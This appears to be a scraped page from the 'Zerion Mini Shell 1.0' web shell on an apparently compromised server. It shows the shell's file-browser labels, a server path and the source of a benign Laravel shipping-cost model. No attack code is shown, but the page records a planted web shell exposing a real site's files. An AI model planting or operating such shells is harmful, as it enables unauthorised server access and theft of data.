ok

Mini Shell

Direktori : /home2/selectio/www/3-idiots/app/Model/
Upload File :
Current File : //home2/selectio/www/3-idiots/app/Model/CategoryShippingCost.php

<?php

namespace App\Model;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class CategoryShippingCost extends Model
{
    use HasFactory;

    protected $casts = [
        'seller_id' => 'integer',
        'category_id' => 'integer',
        'cost'=>'float',
        'multiply_qty'=>'integer'
    ];

    public function category()
    {
        return $this->belongsTo(Category::class, 'category_id');
    }
}

Zerion Mini Shell 1.0